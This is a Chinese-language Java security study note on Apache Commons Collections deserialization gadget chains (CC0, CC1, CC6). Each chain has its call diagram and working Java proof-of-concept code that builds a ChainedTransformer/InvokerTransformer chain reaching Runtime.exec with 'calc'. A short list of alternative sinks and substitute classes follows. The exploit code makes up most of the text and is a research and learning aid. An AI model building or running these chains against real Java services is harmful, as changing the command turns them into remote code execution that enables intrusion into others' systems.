JavaSec 反序列化篇-CC链

[toc]

CC0

/*
Gadget chain:
   ObjectInputStream.readObject()
      AnnotationInvocationHandler.readObject()
         AbstractInputCheckedMapDecorator.setValue()
            AnnotationInvocationHandler.invoke()
               TransformeredMap.checkSetValue()
                  ChainedTransformer.transform()
                     ConstantTransformer.transform()
                     InvokerTransformer.transform()
                        Method.invoke()
                           Class.getMethod()
                     InvokerTransformer.transform()
                        Method.invoke()
                           Runtime.getRuntime()
                     InvokerTransformer.transform()
                        Method.invoke()
                           Runtime.exec()
*/     
public static void main(String[] args) throws Exception
{
    Class<?> clazz = Class.forName("java.lang.Runtime");
    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(clazz),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    HashMap<Object, Object> hm=new HashMap<>();
    hm.put("value","b");
    Map<Object,Object> tmap = TransformedMap.decorate(hm,null,chainedTransformer);
//        tmap.put("123",clazz);
    Class<?> anoclazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor<?> constructor=anoclazz.getDeclaredConstructor(Class.class,Map.class);
    constructor.setAccessible(true);
    Object aih=constructor.newInstance(Target.class,tmap);
    serilize(aih);
    unserilize("ser.bin");
}

CC1

/*
Gadget chain:
   ObjectInputStream.readObject()
      AnnotationInvocationHandler.readObject()
         Map(Proxy).entrySet()
            AnnotationInvocationHandler.invoke()
               LazyMap.get()
                  ChainedTransformer.transform()
                     ConstantTransformer.transform()
                     InvokerTransformer.transform()
                        Method.invoke()
                           Class.getMethod()
                     InvokerTransformer.transform()
                        Method.invoke()
                           Runtime.getRuntime()
                     InvokerTransformer.transform()
                        Method.invoke()
                           Runtime.exec()
*/

public class CC1
{
    public static void main(String[] args) throws Exception
    {
        Class<?> clazz = Class.forName("java.lang.Runtime");
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(clazz),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform("aaa");
        HashMap<Object, Object> hm = new HashMap<>();
        Map<Object, Object> lm=LazyMap.decorate(hm,chainedTransformer);
//        lm.put("a","b");
//        lm.get("av");
        Class<?> anoclazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = anoclazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);

        InvocationHandler aih = (InvocationHandler) constructor.newInstance(Override.class, lm);
        Map mapproxy= (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},aih);
        Object o =constructor.newInstance(Override.class,mapproxy);


        unserilize("ser.bin");
    }
}

CC6

/*
	Gadget chain:
	    java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()

*/

public class CC6
{
    public static void main(String[] args) throws Exception
    {
        Class<?> clazz = Class.forName("java.lang.Runtime");
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(clazz),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform("aaa");
        HashMap<Object, Object> hm = new HashMap<>();
        Map<Object, Object> lm= LazyMap.decorate(hm,new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry=new TiedMapEntry(lm,"kkk");
//        tiedMapEntry.hashCode();
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry,"1111");
        lm.remove("kkk");

        Class c = LazyMap.class;
        Field factoryField = c.getDeclaredField("factory");factoryField.setAccessible(true);
        factoryField.set(lm, chainedTransformer);


        serilize(hashMap);
        unserilize("ser.bin");
    }
}

sink替换（不用的命令执行方式）

InvokerTransformer 实现RCE

InstantiateTransformer 实现RCE

TransformerFactory

同类型替换

• DefaultedMap ，LazyMap，TransformedMap

• TreeBag 代替 PriorityQueue

• LinkedHashset HashSet

二次反序列化

Reference

EkiXu/marshalexp (github.com)

白日梦组长的个人空间_哔哩哔哩_bilibili